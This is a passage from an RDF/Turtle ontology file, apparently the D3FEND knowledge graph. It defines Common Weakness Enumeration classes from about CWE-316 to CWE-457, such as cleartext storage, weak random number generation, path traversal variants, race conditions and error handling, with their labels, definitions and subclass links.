    d3f:definition "The product stores sensitive information in cleartext in memory." ;
    rdfs:subClassOf d3f:CWE-312 .

d3f:CWE-317 a owl:Class ;
    rdfs:label "Cleartext Storage of Sensitive Information in GUI" ;
    d3f:cwe-id "CWE-317" ;
    d3f:definition "The product stores sensitive information in cleartext within the GUI." ;
    rdfs:subClassOf d3f:CWE-312 .

d3f:CWE-318 a owl:Class ;
    rdfs:label "Cleartext Storage of Sensitive Information in Executable" ;
    d3f:cwe-id "CWE-318" ;
    d3f:definition "The product stores sensitive information in cleartext in an executable." ;
    rdfs:subClassOf d3f:CWE-312 .

d3f:CWE-32 a owl:Class ;
    rdfs:label "Path Traversal: '...' (Triple Dot)" ;
    d3f:cwe-id "CWE-32" ;
    d3f:definition "The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '...' (triple dot) sequences that can resolve to a location that is outside of that directory." ;
    rdfs:subClassOf d3f:CWE-23 .

d3f:CWE-321 a owl:Class ;
    rdfs:label "Use of Hard-coded Cryptographic Key" ;
    d3f:cwe-id "CWE-321" ;
    d3f:definition "The product uses a hard-coded, unchangeable cryptographic key." ;
    rdfs:subClassOf d3f:CWE-798 .

d3f:CWE-322 a owl:Class ;
    rdfs:label "Key Exchange without Entity Authentication" ;
    d3f:cwe-id "CWE-322" ;
    d3f:definition "The product performs a key exchange with an actor without verifying the identity of that actor." ;
    rdfs:subClassOf d3f:CWE-306 .

d3f:CWE-323 a owl:Class ;
    rdfs:label "Reusing a Nonce, Key Pair in Encryption" ;
    d3f:cwe-id "CWE-323" ;
    d3f:definition "Nonces should be used for the present occasion and only once." ;
    rdfs:subClassOf d3f:CWE-344 .

d3f:CWE-324 a owl:Class ;
    rdfs:label "Use of a Key Past its Expiration Date" ;
    d3f:cwe-id "CWE-324" ;
    d3f:definition "The product uses a cryptographic key or password past its expiration date, which diminishes its safety significantly by increasing the timing window for cracking attacks against that key." ;
    rdfs:subClassOf d3f:CWE-672 .

d3f:CWE-325 a owl:Class ;
    rdfs:label "Missing Cryptographic Step" ;
    d3f:cwe-id "CWE-325" ;
    d3f:definition "The product does not implement a required step in a cryptographic algorithm, resulting in weaker encryption than advertised by the algorithm." ;
    rdfs:subClassOf d3f:CWE-573 .

d3f:CWE-329 a owl:Class ;
    rdfs:label "Generation of Predictable IV with CBC Mode" ;
    d3f:cwe-id "CWE-329" ;
    d3f:definition "The product generates and uses a predictable initialization Vector (IV) with Cipher Block Chaining (CBC) Mode, which causes algorithms to be susceptible to dictionary attacks when they are encrypted under the same key." ;
    rdfs:subClassOf d3f:CWE-1204,
        d3f:CWE-573 .

d3f:CWE-33 a owl:Class ;
    rdfs:label "Path Traversal: '....' (Multiple Dot)" ;
    d3f:cwe-id "CWE-33" ;
    d3f:definition "The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '....' (multiple dot) sequences that can resolve to a location that is outside of that directory." ;
    rdfs:subClassOf d3f:CWE-23 .

d3f:CWE-332 a owl:Class ;
    rdfs:label "Insufficient Entropy in PRNG" ;
    d3f:cwe-id "CWE-332" ;
    d3f:definition "The lack of entropy available for, or used by, a Pseudo-Random Number Generator (PRNG) can be a stability and security threat." ;
    rdfs:subClassOf d3f:CWE-331 .

d3f:CWE-333 a owl:Class ;
    rdfs:label "Improper Handling of Insufficient Entropy in TRNG" ;
    d3f:cwe-id "CWE-333" ;
    d3f:definition "True random number generators (TRNG) generally have a limited source of entropy and therefore can fail or block." ;
    rdfs:subClassOf d3f:CWE-331,
        d3f:CWE-703,
        d3f:CWE-755 .

d3f:CWE-336 a owl:Class ;
    rdfs:label "Same Seed in Pseudo-Random Number Generator (PRNG)" ;
    d3f:cwe-id "CWE-336" ;
    d3f:definition "A Pseudo-Random Number Generator (PRNG) uses the same seed each time the product is initialized." ;
    rdfs:subClassOf d3f:CWE-335 .

d3f:CWE-337 a owl:Class ;
    rdfs:label "Predictable Seed in Pseudo-Random Number Generator (PRNG)" ;
    d3f:cwe-id "CWE-337" ;
    d3f:definition "A Pseudo-Random Number Generator (PRNG) is initialized from a predictable seed, such as the process ID or system time." ;
    rdfs:subClassOf d3f:CWE-335 .

d3f:CWE-338 a owl:Class ;
    rdfs:label "Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)" ;
    d3f:cwe-id "CWE-338" ;
    d3f:definition "The product uses a Pseudo-Random Number Generator (PRNG) in a security context, but the PRNG's algorithm is not cryptographically strong." ;
    rdfs:subClassOf d3f:CWE-330 .

d3f:CWE-339 a owl:Class ;
    rdfs:label "Small Seed Space in PRNG" ;
    d3f:cwe-id "CWE-339" ;
    d3f:definition "A Pseudo-Random Number Generator (PRNG) uses a relatively small seed space, which makes it more susceptible to brute force attacks." ;
    rdfs:subClassOf d3f:CWE-335 .

d3f:CWE-34 a owl:Class ;
    rdfs:label "Path Traversal: '....//'" ;
    d3f:cwe-id "CWE-34" ;
    d3f:definition "The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '....//' (doubled dot dot slash) sequences that can resolve to a location that is outside of that directory." ;
    rdfs:subClassOf d3f:CWE-23 .

d3f:CWE-341 a owl:Class ;
    rdfs:label "Predictable from Observable State" ;
    d3f:cwe-id "CWE-341" ;
    d3f:definition "A number or object is predictable based on observations that the attacker can make about the state of the system or network, such as time, process ID, etc." ;
    rdfs:subClassOf d3f:CWE-340 .

d3f:CWE-342 a owl:Class ;
    rdfs:label "Predictable Exact Value from Previous Values" ;
    d3f:cwe-id "CWE-342" ;
    d3f:definition "An exact value or random number can be precisely predicted by observing previous values." ;
    rdfs:subClassOf d3f:CWE-340 .

d3f:CWE-343 a owl:Class ;
    rdfs:label "Predictable Value Range from Previous Values" ;
    d3f:cwe-id "CWE-343" ;
    d3f:definition "The product's random number generator produces a series of values which, when observed, can be used to infer a relatively small range of possibilities for the next value that could be generated." ;
    rdfs:subClassOf d3f:CWE-340 .

d3f:CWE-347 a owl:Class ;
    rdfs:label "Improper Verification of Cryptographic Signature" ;
    d3f:cwe-id "CWE-347" ;
    d3f:definition "The product does not verify, or incorrectly verifies, the cryptographic signature for data." ;
    rdfs:subClassOf d3f:CWE-345 .

d3f:CWE-348 a owl:Class ;
    rdfs:label "Use of Less Trusted Source" ;
    d3f:cwe-id "CWE-348" ;
    d3f:definition "The product has two different sources of the same data or information, but it uses the source that has less support for verification, is less trusted, or is less resistant to attack." ;
    rdfs:subClassOf d3f:CWE-345 .

d3f:CWE-349 a owl:Class ;
    rdfs:label "Acceptance of Extraneous Untrusted Data With Trusted Data" ;
    d3f:cwe-id "CWE-349" ;
    d3f:definition "The product, when processing trusted data, accepts any untrusted data that is also included with the trusted data, treating the untrusted data as if it were trusted." ;
    rdfs:subClassOf d3f:CWE-345 .

d3f:CWE-35 a owl:Class ;
    rdfs:label "Path Traversal: '.../...//'" ;
    d3f:cwe-id "CWE-35" ;
    d3f:definition "The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '.../...//' (doubled triple dot slash) sequences that can resolve to a location that is outside of that directory." ;
    rdfs:subClassOf d3f:CWE-23 .

d3f:CWE-350 a owl:Class ;
    rdfs:label "Reliance on Reverse DNS Resolution for a Security-Critical Action" ;
    d3f:cwe-id "CWE-350" ;
    d3f:definition "The product performs reverse DNS resolution on an IP address to obtain the hostname and make a security decision, but it does not properly ensure that the IP address is truly associated with the hostname." ;
    rdfs:subClassOf d3f:CWE-290,
        d3f:CWE-807 .

d3f:CWE-351 a owl:Class ;
    rdfs:label "Insufficient Type Distinction" ;
    d3f:cwe-id "CWE-351" ;
    d3f:definition "The product does not properly distinguish between different types of elements in a way that leads to insecure behavior." ;
    rdfs:subClassOf d3f:CWE-345 .

d3f:CWE-352 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Cross-Site Request Forgery (CSRF)" ;
    d3f:cwe-id "CWE-352" ;
    d3f:definition "The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor." ;
    d3f:synonym "CSRF",
        "Cross Site Reference Forgery",
        "Session Riding",
        "XSRF" ;
    d3f:weakness-of d3f:UserInputFunction ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:weakness-of ;
            owl:someValuesFrom d3f:UserInputFunction ],
        d3f:CWE-345 .

d3f:CWE-353 a owl:Class ;
    rdfs:label "Missing Support for Integrity Check" ;
    d3f:cwe-id "CWE-353" ;
    d3f:definition "The product uses a transmission protocol that does not include a mechanism for verifying the integrity of the data during transmission, such as a checksum." ;
    rdfs:subClassOf d3f:CWE-345 .

d3f:CWE-354 a owl:Class ;
    rdfs:label "Improper Validation of Integrity Check Value" ;
    d3f:cwe-id "CWE-354" ;
    d3f:definition "The product does not validate or incorrectly validates the integrity check values or \"checksums\" of a message. This may prevent it from detecting if the data has been modified or corrupted in transmission." ;
    rdfs:subClassOf d3f:CWE-345,
        d3f:CWE-754 .

d3f:CWE-356 a owl:Class ;
    rdfs:label "Product UI does not Warn User of Unsafe Actions" ;
    d3f:cwe-id "CWE-356" ;
    d3f:definition "The product's user interface does not warn the user before undertaking an unsafe action on behalf of that user. This makes it easier for attackers to trick users into inflicting damage to their system." ;
    rdfs:subClassOf d3f:CWE-221 .

d3f:CWE-358 a owl:Class ;
    rdfs:label "Improperly Implemented Security Check for Standard" ;
    d3f:cwe-id "CWE-358" ;
    d3f:definition "The product does not implement or incorrectly implements one or more security-relevant checks as specified by the design of a standardized algorithm, protocol, or technique." ;
    rdfs:subClassOf d3f:CWE-573,
        d3f:CWE-693 .

d3f:CWE-359 a owl:Class ;
    rdfs:label "Exposure of Private Personal Information to an Unauthorized Actor" ;
    d3f:cwe-id "CWE-359" ;
    d3f:definition "The product does not properly prevent a person's private, personal information from being accessed by actors who either (1) are not explicitly authorized to access the information or (2) do not have the implicit consent of the person about whom the information is collected." ;
    d3f:synonym "Privacy leak",
        "Privacy leakage",
        "Privacy violation" ;
    rdfs:subClassOf d3f:CWE-200 .

d3f:CWE-363 a owl:Class ;
    rdfs:label "Race Condition Enabling Link Following" ;
    d3f:cwe-id "CWE-363" ;
    d3f:definition "The product checks the status of a file or directory before accessing it, which produces a race condition in which the file can be replaced with a link before the access is performed, causing the product to access the wrong file." ;
    rdfs:subClassOf d3f:CWE-367 .

d3f:CWE-366 a owl:Class ;
    rdfs:label "Race Condition within a Thread" ;
    d3f:cwe-id "CWE-366" ;
    d3f:definition "If two threads of execution use a resource simultaneously, there exists the possibility that resources may be used while invalid, in turn making the state of execution undefined." ;
    rdfs:subClassOf d3f:CWE-362 .

d3f:CWE-368 a owl:Class ;
    rdfs:label "Context Switching Race Condition" ;
    d3f:cwe-id "CWE-368" ;
    d3f:definition "A product performs a series of non-atomic actions to switch between contexts that cross privilege or other security boundaries, but a race condition allows an attacker to modify or misrepresent the product's behavior during the switch." ;
    rdfs:subClassOf d3f:CWE-362 .

d3f:CWE-369 a owl:Class ;
    rdfs:label "Divide By Zero" ;
    d3f:cwe-id "CWE-369" ;
    d3f:definition "The product divides a value by zero." ;
    rdfs:subClassOf d3f:CWE-682 .

d3f:CWE-37 a owl:Class ;
    rdfs:label "Path Traversal: '/absolute/pathname/here'" ;
    d3f:cwe-id "CWE-37" ;
    d3f:definition "The product accepts input in the form of a slash absolute path ('/absolute/pathname/here') without appropriate validation, which can allow an attacker to traverse the file system to unintended locations or access arbitrary files." ;
    rdfs:subClassOf d3f:CWE-160,
        d3f:CWE-36 .

d3f:CWE-370 a owl:Class ;
    rdfs:label "Missing Check for Certificate Revocation after Initial Check" ;
    d3f:cwe-id "CWE-370" ;
    d3f:definition "The product does not check the revocation status of a certificate after its initial revocation check, which can cause the product to perform privileged actions even after the certificate is revoked at a later time." ;
    rdfs:subClassOf d3f:CWE-299 .

d3f:CWE-372 a owl:Class ;
    rdfs:label "Incomplete Internal State Distinction" ;
    d3f:cwe-id "CWE-372" ;
    d3f:definition "The product does not properly determine which state it is in, causing it to assume it is in state X when in fact it is in state Y, causing it to perform incorrect operations in a security-relevant manner." ;
    rdfs:subClassOf d3f:CWE-664 .

d3f:CWE-374 a owl:Class ;
    rdfs:label "Passing Mutable Objects to an Untrusted Method" ;
    d3f:cwe-id "CWE-374" ;
    d3f:definition "The product sends non-cloned mutable data as an argument to a method or function." ;
    rdfs:subClassOf d3f:CWE-668 .

d3f:CWE-375 a owl:Class ;
    rdfs:label "Returning a Mutable Object to an Untrusted Caller" ;
    d3f:cwe-id "CWE-375" ;
    d3f:definition "Sending non-cloned mutable data as a return value may result in that data being altered or deleted by the calling function." ;
    rdfs:subClassOf d3f:CWE-668 .

d3f:CWE-378 a owl:Class ;
    rdfs:label "Creation of Temporary File With Insecure Permissions" ;
    d3f:cwe-id "CWE-378" ;
    d3f:definition "Opening temporary files without appropriate measures or controls can leave the file, its contents and any function that it impacts vulnerable to attack." ;
    rdfs:subClassOf d3f:CWE-377 .

d3f:CWE-379 a owl:Class ;
    rdfs:label "Creation of Temporary File in Directory with Insecure Permissions" ;
    d3f:cwe-id "CWE-379" ;
    d3f:definition "The product creates a temporary file in a directory whose permissions allow unintended actors to determine the file's existence or otherwise access that file." ;
    rdfs:subClassOf d3f:CWE-377 .

d3f:CWE-38 a owl:Class ;
    rdfs:label "Path Traversal: '\\absolute\\pathname\\here'" ;
    d3f:cwe-id "CWE-38" ;
    d3f:definition "The product accepts input in the form of a backslash absolute path ('\\absolute\\pathname\\here') without appropriate validation, which can allow an attacker to traverse the file system to unintended locations or access arbitrary files." ;
    rdfs:subClassOf d3f:CWE-36 .

d3f:CWE-382 a owl:Class ;
    rdfs:label "J2EE Bad Practices: Use of System.exit()" ;
    d3f:cwe-id "CWE-382" ;
    d3f:definition "A J2EE application uses System.exit(), which also shuts down its container." ;
    rdfs:subClassOf d3f:CWE-705 .

d3f:CWE-383 a owl:Class ;
    rdfs:label "J2EE Bad Practices: Direct Use of Threads" ;
    d3f:cwe-id "CWE-383" ;
    d3f:definition "Thread management in a Web application is forbidden in some circumstances and is always highly error prone." ;
    rdfs:subClassOf d3f:CWE-695 .

d3f:CWE-384 a owl:Class ;
    rdfs:label "Session Fixation" ;
    d3f:cwe-id "CWE-384" ;
    d3f:definition "Authenticating a user, or otherwise establishing a new user session, without invalidating any existing session identifier gives an attacker the opportunity to steal authenticated sessions." ;
    rdfs:subClassOf d3f:CWE-610 .

d3f:CWE-385 a owl:Class ;
    rdfs:label "Covert Timing Channel" ;
    d3f:cwe-id "CWE-385" ;
    d3f:definition "Covert timing channels convey information by modulating some aspect of system behavior over time, so that the program receiving the information can observe system behavior and infer protected information." ;
    rdfs:subClassOf d3f:CWE-514 .

d3f:CWE-386 a owl:Class ;
    rdfs:label "Symbolic Name not Mapping to Correct Object" ;
    d3f:cwe-id "CWE-386" ;
    d3f:definition "A constant symbolic reference to an object is used, even though the reference can resolve to a different object over time." ;
    rdfs:subClassOf d3f:CWE-706 .

d3f:CWE-39 a owl:Class ;
    rdfs:label "Path Traversal: 'C:dirname'" ;
    d3f:cwe-id "CWE-39" ;
    d3f:definition "The product accepts input that contains a drive letter or Windows volume letter ('C:dirname') that potentially redirects access to an unintended location or arbitrary file." ;
    rdfs:subClassOf d3f:CWE-36 .

d3f:CWE-390 a owl:Class ;
    rdfs:label "Detection of Error Condition Without Action" ;
    d3f:cwe-id "CWE-390" ;
    d3f:definition "The product detects a specific error, but takes no actions to handle the error." ;
    rdfs:subClassOf d3f:CWE-755 .

d3f:CWE-391 a owl:Class ;
    rdfs:label "Unchecked Error Condition" ;
    d3f:cwe-id "CWE-391" ;
    d3f:definition "[PLANNED FOR DEPRECATION. SEE MAINTENANCE NOTES AND CONSIDER CWE-252, CWE-248, OR CWE-1069.] Ignoring exceptions and other error conditions may allow an attacker to induce unexpected behavior unnoticed." ;
    rdfs:subClassOf d3f:CWE-754 .

d3f:CWE-392 a owl:Class ;
    rdfs:label "Missing Report of Error Condition" ;
    d3f:cwe-id "CWE-392" ;
    d3f:definition "The product encounters an error but does not provide a status code or return value to indicate that an error has occurred." ;
    rdfs:subClassOf d3f:CWE-684,
        d3f:CWE-703,
        d3f:CWE-755 .

d3f:CWE-393 a owl:Class ;
    rdfs:label "Return of Wrong Status Code" ;
    d3f:cwe-id "CWE-393" ;
    d3f:definition "A function or operation returns an incorrect return value or status code that does not indicate the true result of execution, causing the product to modify its behavior based on the incorrect result." ;
    rdfs:subClassOf d3f:CWE-684,
        d3f:CWE-703 .

d3f:CWE-394 a owl:Class ;
    rdfs:label "Unexpected Status Code or Return Value" ;
    d3f:cwe-id "CWE-394" ;
    d3f:definition "The product does not properly check when a function or operation returns a value that is legitimate for the function, but is not expected by the product." ;
    rdfs:subClassOf d3f:CWE-754 .

d3f:CWE-395 a owl:Class ;
    rdfs:label "Use of NullPointerException Catch to Detect NULL Pointer Dereference" ;
    d3f:cwe-id "CWE-395" ;
    d3f:definition "Catching NullPointerException should not be used as an alternative to programmatic checks to prevent dereferencing a null pointer." ;
    rdfs:subClassOf d3f:CWE-705,
        d3f:CWE-755 .

d3f:CWE-396 a owl:Class ;
    rdfs:label "Declaration of Catch for Generic Exception" ;
    d3f:cwe-id "CWE-396" ;
    d3f:definition "Catching overly broad exceptions promotes complex error handling code that is more likely to contain security vulnerabilities." ;
    rdfs:subClassOf d3f:CWE-221,
        d3f:CWE-705,
        d3f:CWE-755 .

d3f:CWE-397 a owl:Class ;
    rdfs:label "Declaration of Throws for Generic Exception" ;
    d3f:cwe-id "CWE-397" ;
    d3f:definition "The product throws or raises an overly broad exceptions that can hide important details and produce inappropriate responses to certain conditions." ;
    rdfs:subClassOf d3f:CWE-221,
        d3f:CWE-703,
        d3f:CWE-705 .

d3f:CWE-40 a owl:Class ;
    rdfs:label "Path Traversal: '\\\\UNC\\share\\name\\' (Windows UNC Share)" ;
    d3f:cwe-id "CWE-40" ;
    d3f:definition "The product accepts input that identifies a Windows UNC share ('\\\\UNC\\share\\name') that potentially redirects access to an unintended location or arbitrary file." ;
    rdfs:subClassOf d3f:CWE-36 .

d3f:CWE-401 a owl:Class ;
    rdfs:label "Missing Release of Memory after Effective Lifetime" ;
    d3f:cwe-id "CWE-401" ;
    d3f:definition "The product does not sufficiently track and release allocated memory after it has been used, making the memory unavailable for reallocation and reuse." ;
    d3f:synonym "Memory Leak" ;
    rdfs:subClassOf d3f:CWE-772 .

d3f:CWE-403 a owl:Class ;
    rdfs:label "Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak')" ;
    d3f:cwe-id "CWE-403" ;
    d3f:definition "A process does not close sensitive file descriptors before invoking a child process, which allows the child to perform unauthorized I/O operations using those descriptors." ;
    d3f:synonym "File descriptor leak" ;
    rdfs:subClassOf d3f:CWE-402 .

d3f:CWE-406 a owl:Class ;
    rdfs:label "Insufficient Control of Network Message Volume (Network Amplification)" ;
    d3f:cwe-id "CWE-406" ;
    d3f:definition "The product does not sufficiently monitor or control transmitted network traffic volume, so that an actor can cause the product to transmit more traffic than should be allowed for that actor." ;
    rdfs:subClassOf d3f:CWE-405 .

d3f:CWE-408 a owl:Class ;
    rdfs:label "Incorrect Behavior Order: Early Amplification" ;
    d3f:cwe-id "CWE-408" ;
    d3f:definition "The product allows an entity to perform a legitimate but expensive operation before authentication or authorization has taken place." ;
    rdfs:subClassOf d3f:CWE-405,
        d3f:CWE-696 .

d3f:CWE-409 a owl:Class ;
    rdfs:label "Improper Handling of Highly Compressed Data (Data Amplification)" ;
    d3f:cwe-id "CWE-409" ;
    d3f:definition "The product does not handle or incorrectly handles a compressed input with a very high compression ratio that produces a large output." ;
    rdfs:subClassOf d3f:CWE-405 .

d3f:CWE-410 a owl:Class ;
    rdfs:label "Insufficient Resource Pool" ;
    d3f:cwe-id "CWE-410" ;
    d3f:definition "The product's resource pool is not large enough to handle peak demand, which allows an attacker to prevent others from accessing the resource by using a (relatively) large number of requests for resources." ;
    rdfs:subClassOf d3f:CWE-664 .

d3f:CWE-412 a owl:Class ;
    rdfs:label "Unrestricted Externally Accessible Lock" ;
    d3f:cwe-id "CWE-412" ;
    d3f:definition "The product properly checks for the existence of a lock, but the lock can be externally controlled or influenced by an actor that is outside of the intended sphere of control." ;
    rdfs:subClassOf d3f:CWE-667 .

d3f:CWE-414 a owl:Class ;
    rdfs:label "Missing Lock Check" ;
    d3f:cwe-id "CWE-414" ;
    d3f:definition "A product does not check to see if a lock is present before performing sensitive operations on a resource." ;
    rdfs:subClassOf d3f:CWE-667 .

d3f:CWE-415 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Double Free" ;
    d3f:cwe-id "CWE-415" ;
    d3f:definition "The product calls free() twice on the same memory address." ;
    d3f:synonym "Double-free" ;
    d3f:weakness-of d3f:MemoryFreeFunction ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:weakness-of ;
            owl:someValuesFrom d3f:MemoryFreeFunction ],
        d3f:CWE-1341,
        d3f:CWE-666,
        d3f:CWE-825 .

d3f:CWE-416 a owl:Class ;
    rdfs:label "Use After Free" ;
    d3f:cwe-id "CWE-416" ;
    d3f:definition "The product reuses or references memory after it has been freed. At some point afterward, the memory may be allocated again and saved in another pointer, while the original pointer references a location somewhere within the new allocation. Any operations using the original pointer are no longer valid because the memory \"belongs\" to the code that operates on the new pointer." ;
    d3f:synonym "Dangling pointer",
        "UAF",
        "Use-After-Free" ;
    rdfs:subClassOf d3f:CWE-825 .

d3f:CWE-419 a owl:Class ;
    rdfs:label "Unprotected Primary Channel" ;
    d3f:cwe-id "CWE-419" ;
    d3f:definition "The product uses a primary channel for administration or restricted functionality, but it does not properly protect the channel." ;
    rdfs:subClassOf d3f:CWE-923 .

d3f:CWE-421 a owl:Class ;
    rdfs:label "Race Condition During Access to Alternate Channel" ;
    d3f:cwe-id "CWE-421" ;
    d3f:definition "The product opens an alternate channel to communicate with an authorized user, but the channel is accessible to other actors." ;
    rdfs:subClassOf d3f:CWE-362,
        d3f:CWE-420 .

d3f:CWE-422 a owl:Class ;
    rdfs:label "Unprotected Windows Messaging Channel ('Shatter')" ;
    d3f:cwe-id "CWE-422" ;
    d3f:definition "The product does not properly verify the source of a message in the Windows Messaging System while running at elevated privileges, creating an alternate channel through which an attacker can directly send a message to the product." ;
    rdfs:subClassOf d3f:CWE-360,
        d3f:CWE-420 .

d3f:CWE-425 a owl:Class ;
    rdfs:label "Direct Request ('Forced Browsing')" ;
    d3f:cwe-id "CWE-425" ;
    d3f:definition "The web application does not adequately enforce appropriate authorization on all restricted URLs, scripts, or files." ;
    d3f:synonym "forced browsing" ;
    rdfs:subClassOf d3f:CWE-288,
        d3f:CWE-424,
        d3f:CWE-862 .

d3f:CWE-426 a owl:Class ;
    rdfs:label "Untrusted Search Path" ;
    d3f:cwe-id "CWE-426" ;
    d3f:definition "The product searches for critical resources using an externally-supplied search path that can point to resources that are not under the product's direct control." ;
    d3f:synonym "Untrusted Path" ;
    rdfs:subClassOf d3f:CWE-642,
        d3f:CWE-673 .

d3f:CWE-427 a owl:Class ;
    rdfs:label "Uncontrolled Search Path Element" ;
    d3f:cwe-id "CWE-427" ;
    d3f:definition "The product uses a fixed or controlled search path to find resources, but one or more locations in that path can be under the control of unintended actors." ;
    d3f:synonym "Binary planting",
        "DLL preloading",
        "Dependency confusion",
        "Insecure library loading" ;
    rdfs:subClassOf d3f:CWE-668 .

d3f:CWE-428 a owl:Class ;
    rdfs:label "Unquoted Search Path or Element" ;
    d3f:cwe-id "CWE-428" ;
    d3f:definition "The product uses a search path that contains an unquoted element, in which the element contains whitespace or other separators. This can cause the product to access resources in a parent path." ;
    rdfs:subClassOf d3f:CWE-668 .

d3f:CWE-43 a owl:Class ;
    rdfs:label "Path Equivalence: 'filename....' (Multiple Trailing Dot)" ;
    d3f:cwe-id "CWE-43" ;
    d3f:definition "The product accepts path input in the form of multiple trailing dot ('filedir....') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files." ;
    rdfs:subClassOf d3f:CWE-163,
        d3f:CWE-42 .

d3f:CWE-430 a owl:Class ;
    rdfs:label "Deployment of Wrong Handler" ;
    d3f:cwe-id "CWE-430" ;
    d3f:definition "The wrong \"handler\" is assigned to process an object." ;
    rdfs:subClassOf d3f:CWE-691 .

d3f:CWE-431 a owl:Class ;
    rdfs:label "Missing Handler" ;
    d3f:cwe-id "CWE-431" ;
    d3f:definition "A handler is not available or implemented." ;
    rdfs:subClassOf d3f:CWE-691 .

d3f:CWE-432 a owl:Class ;
    rdfs:label "Dangerous Signal Handler not Disabled During Sensitive Operations" ;
    d3f:cwe-id "CWE-432" ;
    d3f:definition "The product uses a signal handler that shares state with other signal handlers, but it does not properly mask or prevent those signal handlers from being invoked while the original signal handler is still running." ;
    rdfs:subClassOf d3f:CWE-364 .

d3f:CWE-433 a owl:Class ;
    rdfs:label "Unparsed Raw Web Content Delivery" ;
    d3f:cwe-id "CWE-433" ;
    d3f:definition "The product stores raw content or supporting code under the web document root with an extension that is not specifically handled by the server." ;
    rdfs:subClassOf d3f:CWE-219 .

d3f:CWE-434 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Unrestricted Upload of File with Dangerous Type" ;
    d3f:cwe-id "CWE-434" ;
    d3f:definition "The product allows the upload or transfer of dangerous file types that are automatically processed within its environment." ;
    d3f:synonym "Unrestricted File Upload" ;
    d3f:weakness-of d3f:UserInputFunction ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:weakness-of ;
            owl:someValuesFrom d3f:UserInputFunction ],
        d3f:CWE-669 .

d3f:CWE-437 a owl:Class ;
    rdfs:label "Incomplete Model of Endpoint Features" ;
    d3f:cwe-id "CWE-437" ;
    d3f:definition "A product acts as an intermediary or monitor between two or more endpoints, but it does not have a complete model of an endpoint's features, behaviors, or state, potentially causing the product to perform incorrect actions based on this incomplete model." ;
    rdfs:subClassOf d3f:CWE-436 .

d3f:CWE-439 a owl:Class ;
    rdfs:label "Behavioral Change in New Version or Environment" ;
    d3f:cwe-id "CWE-439" ;
    d3f:definition "A's behavior or functionality changes with a new version of A, or a new environment, which is not known (or manageable) by B." ;
    d3f:synonym "Functional change" ;
    rdfs:subClassOf d3f:CWE-435 .

d3f:CWE-440 a owl:Class ;
    rdfs:label "Expected Behavior Violation" ;
    d3f:cwe-id "CWE-440" ;
    d3f:definition "A feature, API, or function does not perform according to its specification." ;
    rdfs:subClassOf d3f:CWE-684 .

d3f:CWE-444 a owl:Class ;
    rdfs:label "Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')" ;
    d3f:cwe-id "CWE-444" ;
    d3f:definition "The product acts as an intermediary HTTP agent (such as a proxy or firewall) in the data flow between two entities such as a client and server, but it does not interpret malformed HTTP requests or responses in ways that are consistent with how the messages will be processed by those entities that are at the ultimate destination." ;
    d3f:synonym "HTTP Request Smuggling",
        "HTTP Response Smuggling",
        "HTTP Smuggling" ;
    rdfs:subClassOf d3f:CWE-436 .

d3f:CWE-447 a owl:Class ;
    rdfs:label "Unimplemented or Unsupported Feature in UI" ;
    d3f:cwe-id "CWE-447" ;
    d3f:definition "A UI function for a security feature appears to be supported and gives feedback to the user that suggests that it is supported, but the underlying functionality is not implemented." ;
    rdfs:subClassOf d3f:CWE-446,
        d3f:CWE-671 .

d3f:CWE-448 a owl:Class ;
    rdfs:label "Obsolete Feature in UI" ;
    d3f:cwe-id "CWE-448" ;
    d3f:definition "A UI function is obsolete and the product does not warn the user." ;
    rdfs:subClassOf d3f:CWE-446 .

d3f:CWE-449 a owl:Class ;
    rdfs:label "The UI Performs the Wrong Action" ;
    d3f:cwe-id "CWE-449" ;
    d3f:definition "The UI performs the wrong action with respect to the user's request." ;
    rdfs:subClassOf d3f:CWE-446 .

d3f:CWE-45 a owl:Class ;
    rdfs:label "Path Equivalence: 'file...name' (Multiple Internal Dot)" ;
    d3f:cwe-id "CWE-45" ;
    d3f:definition "The product accepts path input in the form of multiple internal dot ('file...dir') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files." ;
    rdfs:subClassOf d3f:CWE-165,
        d3f:CWE-44 .

d3f:CWE-450 a owl:Class ;
    rdfs:label "Multiple Interpretations of UI Input" ;
    d3f:cwe-id "CWE-450" ;
    d3f:definition "The UI has multiple interpretations of user input but does not prompt the user when it selects the less secure interpretation." ;
    rdfs:subClassOf d3f:CWE-357 .

d3f:CWE-453 a owl:Class ;
    rdfs:label "Insecure Default Variable Initialization" ;
    d3f:cwe-id "CWE-453" ;
    d3f:definition "The product, by default, initializes an internal variable with an insecure or less secure value than is possible." ;
    rdfs:subClassOf d3f:CWE-1188 .

d3f:CWE-454 a owl:Class ;
    rdfs:label "External Initialization of Trusted Variables or Data Stores" ;
    d3f:cwe-id "CWE-454" ;
    d3f:definition "The product initializes critical internal variables or data stores using inputs that can be modified by untrusted actors." ;
    rdfs:subClassOf d3f:CWE-1419,
        d3f:CWE-665 .

d3f:CWE-455 a owl:Class ;
    rdfs:label "Non-exit on Failed Initialization" ;
    d3f:cwe-id "CWE-455" ;
    d3f:definition "The product does not exit or otherwise modify its operation when security-relevant errors occur during initialization, such as when a configuration file has a format error or a hardware security module (HSM) cannot be activated, which can cause the product to execute in a less secure fashion than intended by the administrator." ;
    rdfs:subClassOf d3f:CWE-636,
        d3f:CWE-665,
        d3f:CWE-705 .

d3f:CWE-456 a owl:Class ;
    rdfs:label "Missing Initialization of a Variable" ;
    d3f:cwe-id "CWE-456" ;
    d3f:definition "The product does not initialize critical variables, which causes the execution environment to use unexpected values." ;
    rdfs:subClassOf d3f:CWE-909 .

d3f:CWE-457 a owl:Class ;
    rdfs:label "Use of Uninitialized Variable" ;
    d3f:cwe-id "CWE-457" ;
